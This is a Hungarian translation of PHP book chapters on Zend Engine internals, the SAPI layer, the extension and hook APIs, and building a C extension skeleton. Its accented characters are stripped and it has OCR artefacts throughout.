A Zend Engine 2-es vltozatban az objektumok ltrehozsa kt lpsbl ll. Vegyk a kvetkez hvst: $object = new ClassName; Ezt kveten a rendszer egy j zend_obj ect-et hoz ltre, melyet elhelyez az objektumtrban, s egy r mutat lert rendel a $object vltozhoz. Alaprtelmezs szerint (amikor felhasznli osztlyt pldnyostunk) a trfoglals az alaprtelmezett foglalval trtnik, s az objektum az alaprtelmezett elrskezelket kapja meg. Emellett, amennyiben az osztlyhoz tartoz zend_class_entry-ben meghatroztk a create_object fggvnyt, ez intzi az objektum trfoglalst, s egy zend:_object_handler kezelkbl ll tmbbel tr vissza. E mkdsi szint ismerete klnsen hasznos lehet, ha egy objektum alapmveleteit szeretnnk fellbrlni, illetve ha erforrs-adatokat kell trolnunk egy olyan objektumban, melyet nem rinthetnek a rendes memriakezel eljrsok. A Java- s a mono-bvtmnyek e lehetsgeket hasznljk ki, hogy a PHP kpes legyen pldnyostani s elrni a bellk szrmaz objektumokat. Az objektum konstruktora csak akkor indul el, ha a zend_object_value mr ltrejtt. A konstruktrk (illetve a destruktorok s a klnok) mg a bvtmnyekben is rendes" zend_f unction tpusak. Nem mdosthatjk az objektum elrskezelit, mivel ezek ekkor mr ltrejttek.

Ms fontos adatszerkezetek
A fggvny- s osztlytblk mellett van itt mg nhny emltsre mlt globlis adatszerkezet. Ezek mkdsnek ismerete nem tlzottan lnyeges egy PHP-felhasznl szmra, de igen hasznos lehet, ha a motor mkdst szeretnnk mdostani. Az itt felsoroltak

532

PHP fejleszts felsfokon

legtbbje a compiler_globals vagy az executor_globals szerkezet eleme, melyekre a forrskdban leginkbb a CG (), valamint az EG () makrkkal hivatkoznak. Lssunk teht nhny globlis adatszerkezetet: CG(function_table) s EG(function_table) - Ezek az adatszerkezetek az eddigiekben trgyalt fggvnytblra hivatkozik, amely jelen van mind a fordti, mind a vgrehajti globlisok kztt. Ha vgigvesszk e hasttbla elemeit, megkapunk minden hvhat fggvnyt. CG(class_table) s EG(class_table) - Ezek az adatszerkezetek arra a hasttblra hivatkozik, amely az osztlyokat trolja. EG (symbol_table) - Ez az adatszerkezet a f (vagyis a globlis) szimblumtblra hivatkozik. Itt tallhatunk meg minden globlis hatkr vltozt. EG(active_symbol_table) - Ez az adatszerkezet egy hasttblra hivatkozik, amely az aktulis hatkr szimblumtbljt tartalmazza. EG (zend_constants) - Ez az adatszerkezet az llandk hasttbljra hivatkozik, melynek elemeit a def ine-nal hatroztk meg. CG (auto_globals) - Ez az adatszerkezet az autogloblisok ($_SERVER, $_ENV, $_POST stb.) hasttbljra hivatkozik, melyeket a programban hasznlunk. Ez globlisan elrhet a fordtban, gy megtehetjk, hogy csak akkor adunk kezdrtket e vltozknak, ha a program valban hasznlja azokat. Ez termszetesen a felesleges elkszts s feltlts elhagysval nveli a teljestmnyt. EG(regular_list) - Ez az adatszerkezet egy hasttblra hivatkozik, ami a szablyos" (vagyis nem maradand) erforrsokat trolja. Erforrsok alatt itt a PHP olyan, erforrs tpus vltozit rtjk, mint a folyamok, a fjlmutatk, az adatbziskapcsolatok s ms hasonlk. Mindezekrl bvebben szlunk a 22. fejezetben. EG(persistent_list) -Ez az adatszerkezet hasonlt az EG(regular_list)hez, de az ebben tallhat erforrsokat a rendszer nem szabadtja fel a krelmek vgn (ilyenek pldul a maradand adatbzis-kapcsolatok). EG(user_error_handler) Ez az adatszerkezet egy mutatt ad egy zval rtkre, ami az aktulis user_error_handler fggvny nevt adja meg (belltsra a set_error_handler fggvny biztost lehetsget). Ha nem lltottunk be hibakezel fggvnyt, az rtke NULL. EG(user_error_handlers) - Ez az adatszerkezet a hibakezel fggvnyek vermre hivatkozik. EG(user_exception_handler) Ez az adatszerkezet egy mutatt ad egy zval rtkre, amely az aktulis globlis kivtelkezel fggvny nevt adja meg (belltsra a set_exception_handler fggvny ad lehetsget). Ha nem lltottunk be semmit, az rtke NULL. EG(user_exception_handlers) - Ez az adatszerkezet a globlis kivtelkezelk vermre hivatkozik. EG(exception) Ez egy igen fontos adatszerkezet. Ha a rendszer kivtelt vlt ki, az EG (exception) a kivlt objektumkezelhz tartoz zval rtket veszi fel.

20. fejezet A PHP s a Zend Engine titkai

533

Ha egy fggvnyhvs visszatr, a rendszer megvizsglja az EG (exception) rtkt. Amennyiben ez nem NULL, a vgrehajts megll, s a program a megfelel catch blokk mvelethez ugrik. A bvtmnykdokbl kivltott kivtelekrl bvebben szlunk a 21. s a 22. fejezetekben. EG (ini_directives) - Ez az adatszerkezet a php. ini azon utastsainak hasttbljt adja, amelyek az aktulis vgrehajtsi krnyezetben rvnyesek. A fentiek csak egy rszt adjk az executor_globals s a compiler_globals globlisainak. A bemutatottakat rszben azrt vlasztottuk ki, mert a motor rdekes optimalizlsaiban bukkannak fel (az autogloblisok valsidej feltltsnl), illetve mert hasznlatukra szksg van a bvtmnyekben (pldul az erforrslistknl).

Az elklnts elve

Az elklnts (sandboxing) elve azt mondja ki, hogy a felhasznl tevkenysgei az egyik krelem kezelsben nem hathatnak egy msik krelem kezelsre. A PHP igen jl elklntett nyelv, hiszen minden krelem vgn visszatr egy tiszta kezdllapotba. Ez bvebben az albbiakat jelenti: A rendszer eltvoltja a fggvnyekhez s osztlyokhoz kapcsold ZEND_USER_FUNCTlON s ZEND_USER_CLASS rtkeket (vagyis minden felhasznli fggvnyt s osztlyt). Megsemmist minden rtelmezett fjlhoz tartoz optmbt. (Ezt valjban mr a hasznlatuk utn megteszi.) A rendszer kirti az sszes szimblum- s llandtbla tartalmt. Megsemmist minden, nem a maradandk listjn szerepl erforrst. Egyes megoldsok, mint a mod_perl igencsak knnyv teszik a globlis vltozk akaratlan pldnyostst, melyek megrzik rtkeiket a krelmek kztt, esetleges meglepetseket okozva. A PHP krelem utni takart eljrsa szinte lehetetlenn teszi az ilyen hibkat. Ez azonban azt is jelenti, hogy az olyan adatokat is jra el kell lltani, amelyekrl tudjuk, hogy nem vltoznak kt krelem kztt (pldul egy fjl fordtsi eredmnye). Amint a korbbiakban lthattuk, a fordti gyorstrak - mint az APC, az IonCube vagy a Zend Accelerator -, amelyek nmileg elrontjk" a krelmek tkletes sztvlasztst, nvelhetik alkalmazsunk teljestmnyt. Az e tren alkalmazhat mdszerekrl a 23. fejezetben szlunk bvebben.

534

PHP fejleszts felsfokon

A PHP krelmek letciklusa


Miutn megismerkedtnk a Zend Engine mkdsvel, rdemes megvizsglnunk azt is, miknt mkdhet ez a motor a PHP-ben, s a PHP ms alkalmazsokban. Minden, a PHP szerkezett boncolgat eszmefuttats a 20.2. brn lthathoz hasonl diagrammal kezddik, amely az alkalmazs rtegeit vzolja fel. A legkls rteg, melyen keresztl a PHP ms alkalmazsokkal rintkezik, az elvont kiszolgli API (Server Abstraction API, SPI) rtege. Rszben ez kezeli a PHP indtst s lelltst az alkalmazson bell, s horgokat biztost bizonyos adatok - gy a stik vagy a POST adatok - kezelshez, alkalmazsfggetlen mdon.

20.2. bra A PHP szerkezete. A SPI rteg alatt tallhat maga a PHP motor. A PHP kzponti kdja felel a futsi krnyezet belltsrt (a globlis vltozk feltltsrt s az alaprtelmezett . ini belltsok rvnyestsrt), emellett felleteket biztost, gy a folyamok bemeneti-kimeneti fe-

20. fejezet A PHP s a Zend Engine titkai

535

llett, feldolgozza az adatokat, s ami taln a legfontosabb, felletet biztost a bvtmnyek betltshez (mind a statikusan fordtott, mind a dinamikusan betlttt bvtmnyek szmra). A PHP magjban talljuk az elzekben mr rszletesen trgyalt Zend Engine-t, melynek feladata a programok rtelmezse s vgrehajtsa. A Zend Engine szerkezete emellett lehetv teszi a bvtst, valamint alapmveleteinek (fordts, vgrehajts s hibakezels) akr teljes fellrst is. talakthatjuk mveleteinek egyes elemeit (az egyes mveletek op_handler-einek mdostsval), s fggvnyeket hvhatunk bejegyezhet horgokkal (minden fggvnyhvsnl, minden opkdnl, s gy tovbb). Mindezek lehetv teszik a gyorstrak, a profilksztk, a hibakeresk s a nyelv rtelmezst mdost bvtmnyek egyszer beptst. A SPI rteg Ez az elvonatkoztatsi rteg lehetv teszi, hogy egyszeren bepthessk a PHP-t ms alkalmazsokba. Lssunk most nhny gyakrabban alkalmazott SAPI-t: mod_php5 - Az Apache PHP modulja - egy SPI, amely begyazza a PHP-t az Apache webkiszolglba. fastcgi - A CGI szabvny jl mretezhet bvtse, a FastCGI egy megvalstsa. A FastCGI egy maradand CGI dmon, amely alkalmas tbb krelem kezelsre. A FastCGI teszi lehetv a PHP futst HS-en, s csaknem olyan teljestmnyt ad, mint a mod_php5. CLI - nll rtelmez, melynek segtsgvel PHP programokat futtathatunk a parancssorbl. A CLI valjban egy igen vkony burkol egy SPI rteg krl. embed - ltalnos cl SPI, melynek C knyvtrfellete lehetv teszi a PHP rtelmez begyazst tetszleges alkalmazsba. Az alapgondolat az, hogy lteznek olyan kzs kapcsoldsi pontok (a konkrt alkalmazstl fggetlenl), melyeken a PHP s az alkalmazs rintkezik - ezeken a helyeken biztostanak horgokat a SAPI-k. gy ha pldul egy alkalmazs el szeretn indtani a PHP-t, az indtsi horgot hvja meg. Ha a PHP szeretne kimenetet kldeni, az ub_write horgot hasznlhatja, amely a SPI rteg segtsgvel elvezet az alkalmazs megfelel kimeneti tagfggvnyhez. A SPI rteg kpessgeinek megrtshez a leghasznosabb, ha megismerkednk a rendelkezsre ll horgokkal. Minden SPI fellet az albbi szerkezettel rendelkezik, melynek visszahvhat (callback) fggvnyeit a PHP hasznlhatja: struct _sapi_module_struct { char *name; char *pretty_name; int (*startup)(struct _sapi_module_struct *sapi_module);

536

PHP fejleszts felsfokon

int (*shutdown)(struct _sapi_module_struct *sapi_module); int (*activate)(TSRMLS_D); int (*deactivate)(TSRMLS_D); int (*ub_write) (const char *str, unsigned int str_length TSRMLS_DC) ; void (*flush)(void *server_context); struct stat *(*get_stat)(TSRMLS_D); char *(*getenv)(char *name, size_t name_len TSRMLS_DC); void (*sapi_error)(int type, const char *error_msg, ...); int (*header_handler)(sapi_header_struct *sapi_header, sapi_headers_struct *sapi_headers TSRMLS_DC) ; int (*send_headers)(sapi_headers_struct *sapi_headers TSRMLS_DC); void (*send_header)(sapi_header_struct *sapi_header, void *server_context TSRMLS_DC); int (*read_post)(char *buffer, uint count_bytes TSRMLS_DC); char *(*read_cookies)(TSRMLS_D); void (*register_server_variables) (zval *track_vars_array TSRMLS_DC) ; void (*log_message)(char *message); char *php_ini_path_override; void (*block_interruptions)(void); void (*unblock_interruptions)(void); void (*default_post_reader)(TSRMLS_D); void (*treat_data) (int arg, char *str, zval *destArray TSRMLS_DC) ; char *executable_location; int php_ini_ignore; int (*get_fd)(int *fd TSRMLS_DC); int (*force_http_10)(TSRMLS_D); int (*get_target_uid)(uid_t * TSRMLS_DC); int (*get_target_gid)(gid_t * TSRMLS_DC); unsigned int (*input_filter) (int arg, char *var, char **val, unsigned int val_len TSRMLS_DC) ; void (*ini_defaults)(HashTable *configuration_hash); int phpinfo_as_text;
};

rdemes megismerkednnk nhny elemmel kzelebbrl is: startup - A rendszer ezt a SPI els elksztsnl hvja meg. Ha alkalmazsunk tbb krelmet is kezel, hvsa akkor is csak egyszer trtnik meg. A mod_php5-ben hvsra a szlfolyamatban kerl sor, mieltt a gyermekek sztgaznnak. activate - A rendszer minden krelem elejn meghvja. jra kezdrtkekkel ltja el a krelmenknti SPI adatszerkezeteket. deactivate - A rendszer minden krelem vgn meghvja. Biztostja, hogy minden adat megfelelen tovbbhaladjon az alkalmazs fel, majd megsemmisti a krelmenknti adatszerkezeteket. shutdown - A rendszer az rtelmez kikapcsolsakor hvja meg. Megsemmist minden SPI adatszerkezetet.

20. fejezet A PHP s a Zend Engine titkai

537

ub_write - Ennek segtsgvel kldhet a PHP kimeneti adatokat az gyflnek. A CLI-ben egyszeren a szabvnyos kimenetre runk, mg a mod_php5 alatt az rwrite knyvtri hvst alkalmazzuk. sapi_error - Ez a kezel tudstja a hibkrl az alkalmazst. A legtbb SPI a php_error-t alkalmazza, amely utastja a PHP-t sajt bels hibakezel rendszernek hasznlatra. f lush - Hvsval az alkalmazs elkldi a kimenett. A CLI-ben ennek az f f lush C knyvtri hvs felel meg, mg a mod_php5 az Apache knyvtrnak rf lush fggvnyt hasznlja. send__header - Egyetlen meghatrozott fejlcet kld az gyflnek. Egyes kiszolglk (gy az Apache is) rendelkeznek a fejlctvitelt megvalst bels fggvnyekkel. Msok esetben (mint a PHP CGI-nl) magunknak kell elkldennk ket. Lteznek emellett olyanok is (kztk a CLI), amelyek egyltaln nem kezelik a fejlcek kldst. send_headers - Minden fejlcet elkld az gyflnek. read_cookies - Amennyiben meghatroztunk egy read_cookies kezelt, a SPI indtsa sorn a rendszer ezt hvja meg az SG (request_inf o) . cookie_data feltltsre. Ez az rtk kerl azutn a $_C00KIE autogloblisba. read_post - Amennyiben a krelem mdja POST (vagy ha a php. ini always_populate_raw_post_data vltozja true), a rendszer a read_post kezelvel tlti fel a $HTTP_RAW_POST_DATA s a $_POST tartalmt. A 23. fejezetben bvebben szlunk arrl, miknt pthetjk be a PHP-t alkalmazsainkba a SPI fellet segtsgvel, tovbb rszletesen megismerkednk a CGI SPI felptsvel.

A PMP magja
A PHP rtelmez zembe helyezsnek s futtatsnak szmos kulcslpse van. Amikor egy alkalmazs el kvnja indtani a PHP rtelmezt, elszr meghvja a php_module_startup fggvnyt. Ez gyakorlatilag a fkapcsolnak" felel meg - zembe helyezi a bejegyzett SAPI-t, elkszti tmeneti trolrendszert, elindtja a Zend Engine-t, beolvassa a php. ini llomnyt, majd ez alapjn elvgez nhny teendt, s elkszti az rtelmezt az els krelem fogadsra. A magban mkd fontosabb fggvnyek a kvetkezk: php_module_startup - A PHP kzponti indt fggvnye. php_sartup_extensions - Elindtja az elkszt fggvnyeket minden bejegyzett bvtmnyben. php_output_startup - Elindtja a kimeneti rendszert. php_request_startup - A krelem elejn ez a kzponti fggvny, amely a SPI krelmenknti fggvnyeinek hvst intzi, emellett megkezdi a Zend Engine-ben a krelmenknti elksztsi mveleteket, s meghvja a krelem kezdetekor szksges fggvnyeket a bejegyzett modulokban.

538

PHP fejleszts felsfokon

php_output_activate - zembe helyezi a kimeneti rendszert, belltva a SAPIban meghatrozott kimeneti fggvnyek hasznlatt. php_init_conf ig - Beolvassa a php. ini fjlt, s ez alapjn elvgzi a megfelel mveleteket. php_request_shutdown - A krelmenknti erforrs-megsemmists kzponti fggvnye. php_end_ob_buf f ers - Amennyiben a kimenet tmeneti trolsa engedlyezett, ez a fggvny rti a trak tartalmt. php_module_shutdown - A PHP kzponti kikapcsol fggvnye, amely az rtelmez tovbbi kikapcsol fggvnyeit elindtja.

A PHP bvtsi API


A PHP bvtsi API-jnak trgyalsval javarszt vrnunk kell a 22. fejezetig, ahol valban meg is valstunk egyes bvtmnyeket. Itt tnyleg csak a bvtmnyek szmra elrhet alapvet visszahvhat fggvnyekkel s hvsuk idejvel foglalkozunk. A bvtmnyek ktflekppen jegyeztethetk be. Ha egy bvtmnyt statikusan fordtunk a PHP-hez, a bellt rendszer ezt lland modulknt jegyzi be. Mindazonltal a bvtmnyek betlthetk a . ini fjlbl is, ilyenkor bejegyzsk e fjl feldolgozsakor trtnik meg. A bvtmnyek ltal hasznlatba vehet horgokat a zend_module_entry szerkezetben tallhatjuk meg, melynek tartalma az albbi: struct _zend_module_entry { unsigned short si z e; unsigned int zend_api; unsigned char zend_debug; unsigned char zts; struct _zend_ini_entry *ini_entry; char *name;
zend_function_entry *functions; int (*module_startup_func)(INIT_FUNC_ARGS); int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); int (*request_startup_func)(INIT_FUNC_ARGS); int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); char *version; int (*global_startup_func)(void); int (*global_shutdown_func)(void); int globals_id; int module_started; unsigned char type; void *handl; int module_number; };

20. fejezet A PHP s a Zend Engine titkai

539

rdemes kln szlnunk a szerkezet nhny elemrl: module_startup_func - A rendszer akkor hvja ezt a horgot, amikor a modult els alkalommal tlti be. Feladata hagyomnyosan a globlisok bejegyzse, az egyszeri elksztsek vgrehajtsa, valamint a modulban hasznlni kvnt . ini bejegyzsek regisztrlsa. Egyes elgaztat rendszerekben - ide tartozik az Apache is - ezt a fggvnyt mg a szlfolyamatban hvjk meg, az elgazst megelzen. Ez alkalmatlann teszi a nyitott csatolk vagy adatbzis-kapcsolatok elksztsre, ugyanis itt gondok addhatnak, ha egy erforrst tbb folyamat is hasznlni prbl. module_shutdown_func - Ezt a horgot hvja a rendszer, ha ki kell kapcsolni az rtelmezt. E hvs idejn minden, a modulban lefoglalt erforrst fel kell szabadtanunk. request_startup_func - Hvsa az egyes krelmek kezdetn trtnik meg. Hasznlata klnsen jl jn a krelmenknt alkalmazott erforrsok belltsnl. request_shutdown_func - Ezt a horgot hvja a rendszer minden krelem vgn. f unctions - A bvtmnyben meghatrozott fggvnyek. ini_f unctions-A bvtmnyben bejegyzett . ini bejegyzsek.

A Zend bvtsi API


A PHP krelmek letciklusnak utols sszetevje az a bvtsi API, melyet a Zend Engine szolgltat. A bvthetsg alapjban vve kt dolgon mlik: bizonyos ltfontossg bels fggvnyeknek mutatkon keresztl kell elrhetnek lennik, hogy futsidben fellrhassuk ket, tovbb szksg van egy horog API-ra, amely lehetv teszi, hogy a bvts kdrszleteket jegyezhessen be, amelyeket egyes opkdok eltt futtathat. A Zend Engine az albbi fontosabb fggvnymutatkat alkalmazza: zend__compile - Errl a fggvnyrl mr szltunk a fejezet elejn, gy emlkezhetnk, hogy ez a lexikai rtelmez, az rtelmez s a kdelllt burkolja. Az APC s ms fordti gyorstrak fellrjk ezt a mutatt, gy kpess vlnak a program optmbje msolatainak visszaadsra. zend_execute - Amint arrl szintn sz esett a korbbiakban, ez a fggvny hajtja vgre a zend_compile ltal ksztett kdot. Az APD s ms kdprofilksztk fellrjk, gy rszletesen kvethetik, mennyi id telik az egyes fggvnyhvsokkal. zend_error_cb - Ezzel a mutatval llthatjuk be azt a fggvnyt, melyet a rendszer hiba esetn meghv. Ha olyan bvtmnyt szeretnnk rni, ami a hibkat automatikusan kivtelekk alaktja, itt tehetjk meg. zend_fopen - Ez a fggvny segt, ha a rendszer belsejben egy fjl megnyitsra van szksg.

540

PHP fejleszts felsfokon

A horog API a PHP bvtsi API bvtse: struct _zend_extension { char *name; char *version; char *author; char *URL; char *copyright; startup_func_t startup; shutdown_func_t shutdown; activate_func_t activate; deactivate_func_t deactvate; message_handler_func_t message_handler; op_array_handler_func_t op_array_handler; statement_handler_func_t statement_handler; fcall_begin_handler_func_t fcall_begin_handler; fcall_end_handler_func_t fcall_end_handler; op_array_ctor_func_t op_array_ctor; op_array_dtor_func_t op_array_dtor; int (*api_no_check)(int api_no); void *reserved2; void *reserved3; void *reserved4; void *reserved5; void *reserved6; void *reserved7; void *reserved8; DL_HANDLE handl; int resource_number;
};

A mutatk az albbi lehetsgeket adjk: startup - Mkdse megegyezik egy bvtmny module_startup_f unc fggvnyvel. shutdown - Mkdse megegyezik egy bvtmny module_shutdown_f unc fggvnyvel. activate - Mkdse megegyezik egy bvtmny request_startup_f unc fggvnyvel. deactivate - Mkdse megegyezik egy bvtmny request_shutdown_f unc fggvnyvel. message_handler - Ezt a rendszer akkor hvja, amikor egy bvtmnyt bejegyez. op_array_handler - A rendszer ezt hvja meg a fggvny fordtsa utn, annak optmbjn.

20. fejezet A PHP s a Zend Engine titkai

541

statement_handler - Amennyiben ezt a kezelt belltjuk, az egyes utastsok el egy tovbbi opkd kerl. E mvelet kezelje vgrehajt minden bejegyzett utastskezelt. A statement_handler igen hasznos lehet hibakezel bvtmnyeknl, de mivel gyakorlatilag megktszerezi a program optmbjnek mrett, meglehetsen lelasstja a futst. fcall_begin_handler - Belltsa esetn a rendszer egy tovbbi opkdot helyez el a ZEND_DO_FCALL s a ZEND_DO_FCALL_BY_NAME eltt. A beillesztett opkd vgrehajt minden bejegyzett f call_begin_handler fggvnyt. f call_end_handler - Belltsa esetn a rendszer egy tovbbi opkdot helyez el a ZEND_DO_FCALL s a ZEND_DO_FCALL_BY_NAME utn. A beillesztett opkd vgrehajt minden bejegyzett f call_end_handler fggvnyt.

sszell a kp
Az elzekben rengeteg szraz adatot kaptunk a PHP, a SAPI-k, valamint a Zend Engine felptsrl. Ahhoz, hogy megrtsk, miknt mkdik a rendszer, tudnunk kell, hogyan llnak ssze a megismert rszek teljes egssz. Minden SPI egyedi mdon kti ssze az egyes sszetevket, de mindegyikk ugyanazt az ltalnos mintt kveti. A 20.3. brn (lsd a kvetkez oldalon) a mod_php5 SPI teljes letciklust lthatjuk. A kiszolgl indtsa utn a folyamat ciklusban veszi sorra a krelmeket.

Tovbbi olvasmnyok
A Zend Engine-rl meglehetsen kevs lerst tallhatunk a szakirodalomban. Ha kiss gyakorlatiasabb trgyalsmdra vgyunk, ugorjunk elre a 23. fejezethez, ahol tzetesen megzvizsgljuk a CGI SPI szerkezett, s megtanuljuk, miknt gyazhatjuk be a PHP-t kls alkalmazsokba.

542

PHP fejleszts felsfokon

20.3. bra, A mod_php5 krelmek letciklusa.

A PHP bvtse: I. rsz


A kulisszk mgtt a PHP bels fggvnyei s osztlyai C-ben kszltek - st, a fejlesztknek is lehetsgk van arra, hogy fggvnyeiket C-ben vagy C++-ban rjk. Hogy mirt tennk? me az rvek: rintkezs kls knyvtrakkal - Ha van egy kls knyvtrunk, amihez hozz szeretnnk frni a PHP-ben, az egyetlen igazi megolds, ha ksztnk a szmra egy bvtmnyi burkolt. Minderre akkor lehet szksg, ha egy sajt fejleszts knyvtrat szeretnnk hasznlatba venni, ha egy olyan knyvtrral llunk szemben, melynek felhasznli szerzdse nem teszi lehetv, hogy burkolknyvtrat is mellkeljenek hozz a PHP-hez, vagy ha a szban forg knyvtrhoz egyszeren mg nem adtak ki PHP felletet. Utbbi esetben nagy valsznsggel jl boldogulunk a PEAR PECL bvtmnyknyvtrval. Teljestmny - Elfordulhat, hogy maradnak olyan rszek a kdban, amelyeket kptelenek vagyunk optimalizlni az eddigiekben megtanult mdszerekkel. Ilyenkor mr csak egyetlen lehetsgnk marad a kd trsa C nyelvre. Mivel a C fggvnyek nem a Zend virtulis gpen futnak, jelentsen kevesebb tbbletterhet rnak a rendszerre. Ez olyannyira igaz, hogy kls erforrsokat (adatbzishvsok, tvoli adatelrs, RPC-k stb.) nem alkalmaz fggvnyeknl 10-szeres vagy akr 100-szoros sebessgnvekedst is vrhatunk. Jllehet mindkt rv igen hathats, fontos, hogy figyelmeztessk a buktatkra azokat, akik ilyen trsba fognak, klnsen, ha csak a teljestmny nvelse a cl: A PHP egyik erssge a gyors tanulhatsga. A magasszint nyelvek (mint a PHP vagy a Perl, de nem mint a C vagy a C++) hasznlatnak elnye, hogy elfedik ellnk a memriakezels gondjait, s kizrjk az olyan hibk lehetsgt, melyek magt a PHP rtelmezt tasztank sszeomlsba. Ha C bvtmnyt ksztnk, a fenti knnyebbsgeket gyorsan el is felejthetjk. Ha egy alkalmazs (akr rszben) C kdot tartalmaz, fenntartshoz egy C programozra lesz szksg. Ez pedig igencsak knyelmetlen lehet szmos kis (s esetleg nhny nagyobb) cgnek, akik inkbb a PHP programozk tborra ptenek. Az, hogy magunk jrtasak va-

544

PHP fejleszts felsfokon

gynk a C programozsban, mg nem jelenti azt, hogy aki esetleg a helynkre lp, szintn az lesz. Gondolhatunk persze erre gy is, mint valamifle rafinlt llsbiztostkra, de magunkat s munkltatnkat knyszerhelyzetbe hozni (hiszen innentl C programozkat is kell foglalkoztatni a PHP fejlesztk mellett) nem igazn szerencss. Mindemellett, a C-ben sokkal nehezebb jl programozni, mint a PHP-ben. A bvtmnyekben keletkezett adathulladkokat nem takartja el a Zend szemtgyjt rendszere, gy magunknak kell gyelnnk arra, hogy ne pazaroljuk a memrit, illetve az erforrsokat - radsul a Zend API klnsen rejtlyes dolgokat mvel, amikor a bvtmnyek erforrs-hivatkozsainak kezelsre kerl sor. A C hibakeresse sokkal hosszadalmasabb, mint amit a PHP-ben tapasztalhattunk: egy sor megvltoztatsa utn nem prblhatjuk ki azon nyomban a hatst, elbb jra le kell fordtanunk s el kell indtanunk a programot. Az is elfordulhat, hogy alkalmazsunk sszeomlik (szegmentcis hibk stb. miatt), ha olyasmit mvelnk, amit nem szabadna megtennnk. Mint minden teljestmnyfokozsi mdszernl, az alkalmazs kdrszleteinek C nyelvi talaktsnl is a valamit valamirt" elve rvnyesl. A C hasznlatnak vannak elnyei: Sebessg A PHP kd bonyolultsgnak cskkense s htrnyai: Nehezebb fenntarthatsg Hosszabb fejlesztsi folyamat Trkenyebb alkalmazsszerkezet Vannak persze olyan cgek, amelyeknek megri a vlts. Emellett, ha egy kls knyvtrral szeretnnk egyttmkdni, tbbnyire nincs ms vlasztsunk, mint egy bvtmnyi burkolt kszteni.

A bvtmnyek alapjai
Ha jrtasak vagyunk a C programozsban, nem tl nehz feladat megrni egy PHP bvtmnyt. A PHP szmos segdeszkzt bocst rendelkezsnkre, melyek segtenek a PHP s a C kzti hd kiptsben. A kvetkezkben sorra vesszk azokat a lpseket, amelyek szksgesek ahhoz, hogy elksztsnk egy PHP bvtmnyt, ami kpes eljrskzpont (procedurlis) fggvnyek bejegyzsre.

21. fejezet A PHP bvtse: I. rsz

545

Bvtmnyvz ksztse
Legegyszerbben gy kszthetnk bvtmnyt, ha felhasznlunk egy mr meglev bvtmnyvzat - ilyen vz a PHP ext knyvtrnak ext_skel programja. Ha egy example nev bvtmnyt szeretnnk kszteni, az albbiakat kell tennnk a forrsknyvtr gykerben:
> cd ext > ./ext_skel --extname=example Creating directory example Creating basic files: config.m4 .cvsignore example.c php_example.h CREDITS EXPERIMENTL tests/001.phpt example.php [done].

Az j bvtmny hasznlatba vtelhez a kvetkezk futtatsra van szksg:


1. 2. 3. 4. 5. 6. 7. 8. $ $ $ $ $ $ $ $ cd .. vi ext/example/config.m4 ./buildconf ./configure --[withIenable]-example make ./php -f ext/example/example.php vi ext/example/example.c make

Ismteljk a 3-6. lpseket mindaddig, mg az ext/example/conf ig.m4 tartalma megfelel nem lesz, s a 6. lpst mindaddig, mg a rendszer vissza nem jelzi, hogy modulunkat lefordtotta a PHP-hez. Ezutn hozzkezdhetnk a kdolshoz, s ismteljk meg annyiszor az utols kt lpst, ahnyszor csak szksges. A fenti kd egy example nev knyvtrat hoz ltre, melyben elhelyez minden fjlt, ami szksges a bvtmnyhez. Legfontosabb fjlunk az example. c, a bvtmny f C forrsfjlja, melynek szerkezete valahogy gy fest (a knnyebb olvashatsg kedvrt a kevsb lnyeges rszeket kihagytam):
#ifdef HAVE_CONFIG_H #include "config.h" #endif ttinclude #include #include #include "php.h" "php_ini.h" "ext/standard/info.h" "php_example.h"

#define VERSION "1.0" function_entry example_functions[] = { {NULL, NULL, NULL} };

546

PHP fejleszts felsfokon

zend_module_entry example_module_entry = { STANDARD_MODULE_HEADER, "example", example_functions, PHP_MINIT(example), PHP_MSHUTDOWN(example), PHP_RINIT(example), PHP_RSHUTDOWN(example), PHP_MINFO(example), VERSION, STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_EXAMPLE ZEND_GET_MODULE(example) #endif PHP_MINIT_FUNCTION(example) { return SUCCESS; PHP_MSHUTDOWN_FUNCTION(example) { return SUCCESS; } PHP_RINIT_FUNCTION(example) { return SUCCESS; } PHP_RSHUTDOWN_FUNCTION(example) { return SUCCESS; } PHP_MINFO_FUNCTION(example) { php_nfo_print_table_start(); php_nfo_print_table_header(2, "example support", "enabled"); php_info_print_table_end(); }

Fejezetnk ksbbi rszeiben rszletesebben foglalkozunk e kd egyes sszetevivel.

21. fejezet A PHP bvtse: I. rsz

547

Vizsgldsunk kvetkez trgya a conf ig.m4 fjl, amely a bvtmny felptsnl alkalmazott jelzket meghatroz m4 makrkbl ll. Az albbiakban bemutatunk egy egyszer .m4 programot, amely a bvtmny felptshez megkveteli az --enableexample kapcsol hasznlatt:
PHP_ARG_ENABLE(example, to enable the example extension, t --enable-example enable the example extension.]) if test "$PHP_EXAMPLE" != "no"; then PHP_NEW_EXTENSION(example, example.c, $ext_shared) fi

A PHP teleptrendszere tmogatja a teljes . m4 utastskszletet, tovbb pr sajt makrt. Lssunk most nhnyat ez utbbiak kzl: PHP_CHECK_LIBRARY (liibrary, func [, found [, not-found [, extraliba] ]]) - Ellenrzi a func (fggv) fggvny ltezst a knyvtrban. Amennyiben ltezik, az eredmny found (vari), egybknt not-found (nincs). Az extra-libs (extra-knyvtrak) tovbbi knyvtrakat takar, melyeket a lib sorhoz adhatunk. PHP_DEFINE(wliat, [value])- Egyszer burkol az AC_DEFUN krl, amely a megfelel kdot biztostja az albbi sor beszrshoz (what = valami, value = rtk): #define what value PHP_ADD_SOURCES(path, sourcesl, Bpecial_flaga[, type] ])- Tovbbi forrsokat ad a felptshez a path (elrsi_f) tvonalrl. Ha a bvtmny forrskdjt tbb fjlba osztjuk, e makr segtsgvel automatikusan felpthetjk s sszeszerkeszthetjk azokat. PHP_ADD_LIBRARY(IiJbrary[, appendl, shared-libadd]]) - A library (knyvtr) knyvtrat beilleszti az sszeszerkeszts (link) sorba. PHP_ADD_INCLUDE (path [, be fre]) - A path tvonalat beilleszti a felpts (build) sorba. Ha a bef ore-t is belltjuk, az include tvonal el rja, egybknt utna. A sajt . rn4 makrk mindegyikt megtallhatjuk a PHP forrsgykrknyvtrban az acinclude.m4 fjlban. Az ext. skel ms fjlokat is ltrehoz-. CREDITS - Erre a fjlra nincs felttlenl szksg, de jl jhet, ha terjesztjk is bvtmnynket. EXPERIMENTL - Ez a jelzfjl ksrletinek jelli bvtmnynket. Akkor hordozhat valdi jelentst, ha bvtmnynket a 